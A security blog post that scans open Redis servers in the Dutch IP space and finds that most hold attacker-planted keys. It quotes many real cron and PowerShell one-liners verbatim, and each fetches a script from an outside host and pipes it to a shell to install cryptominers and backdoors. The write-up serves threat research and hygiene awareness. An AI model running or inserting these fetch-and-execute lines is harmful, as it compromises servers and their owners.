False memories — chasing cryptominers through Redis.

Published in

Chapter8

7 min readAug 26, 2020

TL;DR: secure your infrastructure. Open Redis servers are being abused by cybercriminals to store shell commands in your memory. Also, the underlying problem is not new.

1 — open mind

Chapter8 gathers cyber intelligence through several sources, some of which scan the internet for openly accessible services. You’d be surprised — unpleasantly I hope — by the amount of accessible and unsecured services on the net.

In this story, I’ll discuss the misuse of unsecured Redis servers in the Netherlands. Redis is “an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker.” It is widely used, as can be seen in this post on Redis use cases.

The upside-down welcomes these open Redis-houses with great enthousiasm. They pose an opportunity to store stuff you don’t want in your own house. Digital contraband, as you will.

2 — triggers

I was triggered by one of the many reports on open redis servers in the Netherlands. Abuse of Dutch ICT infrastructure has always fascinated me (I wrote my thesis on this subject). And as curiosity has killed me many times over, I decided to take a peek at them.

Connecting to an open redis server is trivial: fire up redis-cli with the IP as argument and one’s in. But this also poses a risk. Since the default connection has administrative rights, it is easy to be disruptive. Therefor, on to RTFM. One of the easiest commands there is

redis-cli -h <host> --bigkeys

which scans the redis keyspace for keys with large values. Scripting this yielded some interesting results. Here comes a snippet:

***
Checking 37.58.X.X
***[00.00%] Biggest string found so far 'backup1' with 64 bytes
[00.00%] Biggest string found so far 'backup4' with 65 bytes
[00.00%] Biggest string found so far 'backup2' with 66 bytes
Biggest string found 'backup2' has 66 bytes
******
Checking 130.185.X.X
***[00.00%] Biggest set    found so far '_kombu.binding.celery' with 1 members
Biggest    set found '_kombu.binding.celery' has 1 members
******
Checking 188.166.X.X
***[00.00%] Biggest zset   found so far 'api::wordstatsTime' with 5418 members
[00.00%] Biggest string found so far 'backup1' with 72 bytes
[00.00%] Biggest string found so far 'backup4' with 73 bytes
[00.00%] Biggest string found so far 'backup3' with 74 bytes
[71.43%] Biggest string found so far 'backup2' with 75 bytes
Biggest string found 'backup2' has 75 bytes
Biggest   zset found 'api::wordstatsTime' has 5418 members
******
Checking 176.126.X.X
***[00.00%] Biggest string found so far 'backup1' with 64 bytes
[00.00%] Biggest string found so far 'backup3' with 65 bytes
[00.00%] Biggest string found so far 'backup2' with 66 bytes
Biggest string found 'backup2' has 66 bytes

See the pattern there? Yes, it surprised me too (remember this started out as simple recon of a service). Out of the first four on my list, three contain keys backupN.

So. Being curious and all, let’s see what is in those keys, shall we?

3 — …are these my memories or yours?

With a simple GET {key} we can retrieve the contents of the keys. Here are some of the results:

redis-cli -h 188.166.X.X
188.166.X.X:6379> get backup2
“\n\n\n*/3 * * * * wget -q -O- http://204.44.105.168:66/init.sh | sh\n\n”
188.166.X.X:6379> get backup4
“\n\n\n*/5 * * * * wdt -q -O- http://xmr.ipzse.com:66/init.sh | sh\n\n”
redis-cli -h 178.62.X.X
178.62.X.X:6379> get backup2
“\n\n\n*/3 * * * * wget -q -O- http://204.44.105.168:66/init.sh | sh\n\n”
178.62.X.X:6379> get backup4
“\n\n\n*/5 * * * * wdt -q -O- http://204.44.105.168:66/init.sh | sh\n\n”
178.62.X.X:6379> get backup3
“\n\n\n*/4 * * * * curl -fsSL http://204.44.105.168:66/init.sh | sh\n\n”
178.62.X.X:6379> get backup5
(nil)
178.62.X.X:6379> get backup1
“\n\n\n*/2 * * * * cdt -fsSL http://204.44.105.168:66/init.sh | sh\n\n”redis-cli -h 13.69.X.X
13.69.X.X:6379> get Back2
“\t\n*/30 * * * * wget http://d.powerofwish.com/pm.sh -O .p && bash .p\n\t”
(0.56s)
13.69.X.X:6379> get Back1
“\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t”
13.69.X.X:6379> get Back3
“\t\n*/25 * * * * cur -fsSL http://d.powerofwish.com/pm.sh | sh\n\t”
13.69.X.X:6379> get Back4
“\\t\n*/50 * * * * get http://d.powerofwish.com/pm.sh -O .p && bash .p\n\t”

Well now, this smells iffy. The keys values contain different variants of access to a script, which is being silently downloaded and executed. By now you should know enough, but for the record, let’s check the contents of init.sh here: https://pastebin.com/wbJrXXBL and pm.sh over there: https://pastebin.com/8QYwhCRs.

…

Not. Good. From the above two files, a whole new can of worms opens up. The binary in pm.sh is mentioned in VirusTotal and installs a cryptominer. init.sh is way, way more intrusive, killing lots of processes, installing backdoors and trying to infect other hosts found through trusted .ssh/known_hosts.

d.powerofwish.com resolves to 185.22.152.54 and is hosted by the Russian BX Network / AS51659. xmr.ipsze.com resolves to 204.44.105.168 and is hosted by the Chinese QUADRANET / AS8100. You might want to contact abuse@, if you’re feeling lucky.

4 — brainwashed

But are the above findings incidental? Because we only queried 3 out of 144 (reachable) open Redis-servers. That is 1,7% — hardly representative. Or is it? Did we ‘luck out’, or is the problem more widespread?

Let’s see.

I took the overview of open Redis hosts of July 23rd 2020 and scripted the steps above for all 144 hosts: ask for bigkeys and get the value of those big keys. For privacy purposes I did not include the IP adresses in this overview.

Here you go: https://pastebin.com/kdweNJ6j

From these results, you can see that out of 144 hosts, 120+ contain Redis keys pointing to cryptominer install scripts. That is over 80%.

For argument’s sake, I redid this with the set of unsecured Dutch Redis hosts of July 26th. 24 IP-adresses differed with the previous set. Here are the results: https://pastebin.com/qBkvydi3. 22 out of 24 new hosts contained iffy keys.

Rinse and repeat with the dataset of August 13th. This dataset contained 204 open Redis servers in the Dutch IP space, from which over 180 differed with the dataset of July 26th. After filtering out connections that timed out or were refused, 145 open Redis servers were left.

Here are the results: https://pastebin.com/ZrtbnVkb. 140+ out of the 145 open servers contained links to iffy scripts. These are the unique values:

*/1 * * * * cur -fsSL http://152.89.62.21/BLE5DB0E07C3D7BE80V520/init.sh |sh
*/1 * * * * cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh
*/1 * * * * curl -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh
*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh
*/25 * * * * cur -fsSL http://d.powerofwish.com/pm.sh | sh
*/25 * * * * root cur -fsSL http://d.powerofwish.com/pm.sh | sh
*/2 * * * * cd1 -fsSL http://103.125.218.107/b2f627/init.sh | sh
*/2 * * * * cdt -fsSL http://204.44.105.168:66/init.sh | sh
*/30 * * * * root wget http://d.powerofwish.com/pm.sh -O .p && bash .p
*/30 * * * * wget http://d.powerofwish.com/pm.sh -O .p && bash .p
*/3 * * * * wget -q -O- http://103.125.218.107/b2f627/init.sh | sh
*/3 * * * * wget -q -O- http://204.44.105.168:66/init.sh | sh
*/3 * * * * wget -q -O- https://pastebin.com/raw/1eDKHr4r | sh
*/4 * * * * curl -fsSL http://global.bitmex.com.de/b2f627fff19fda/init.sh | sh
*/4 * * * * curl -fsSL https://pastebin.com/raw/1eDKHr4r | sh
*/4 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh
*/50 * * * * get http://d.powerofwish.com/pm.sh -O .p && bash .p
*/50 * * * * root wge http://d.powerofwish.com/pm.sh -O .p && bash .p
*/5 * * * * wd1 -q -O- http://global.bitmex.com.de/b2f627fff19fda/init.sh | sh
*/5 * * * * wdt -q -O- http://204.44.105.168:66/init.sh | sh
*/5 * * * * wdt -q -O- http://xmr.ipzse.com:66/init.sh | sh
*/5 * * * * wget -q -O- https://pastebin.com/raw/1eDKHr4r | sh
*/7 * * * * wget -q -O- https://files.catbox.moe/xwwmu0.sh --no-check-certificate | bash
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://205.209.152.78:8000/aa'))"
* * * * * root wget -qO- -U- 120.27.26.189:81/8|sh

Surprised?

I hope not.

Of course, some of these open servers might be honeypots, which could be inferred from e.g. key persistance (FLUSHDB nightly and see how fast the crooks return). Hell, even the Chinese ‘c&c’ might be one, since it runs an odd old vulnerable webserver. Then again, maybe not.

5 — Looking forward

So, what now? This post isn’t rocket science, it is about a problem as old as the internet, the remediation of which is like carrying water to the ocean. Spell it out with me: B-A-S-I-C. I-N-F-R-A-S-T-R-U-C-T-U-R-E. H-Y-G-I-E-N-E. If you leave your door open, someone will walk in eventually.

Infrastructure misuse has always been a problem and these open Redis servers are just too easy as pivot points for the cybercrooks to ignore. I hope this small write-up gives some insight in the modus operandi of the lesser morally endowed internet population.

Funny thing is that all iffy entries seem similar. Might be one or two singular criminal outfits that use this Redis distribution mechanism.

Go hunt.

About the author: Pepijn has a MSc in criminology and over 20 years experience in cybersecurity. He has worked in commercial and nation-state environments, on both operational and strategic levels. Recently he co-founded Chapter8, which specializes in Purple Team security missions. Besides being a family man and fitness enthousiast, he is a cyber volunteer at the Dutch National Police.